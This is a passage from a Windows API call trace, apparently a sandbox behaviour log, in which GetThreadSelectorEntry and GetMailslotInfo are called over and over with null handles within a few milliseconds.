lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.942] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.942] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.943] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.943] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.944] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.944] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 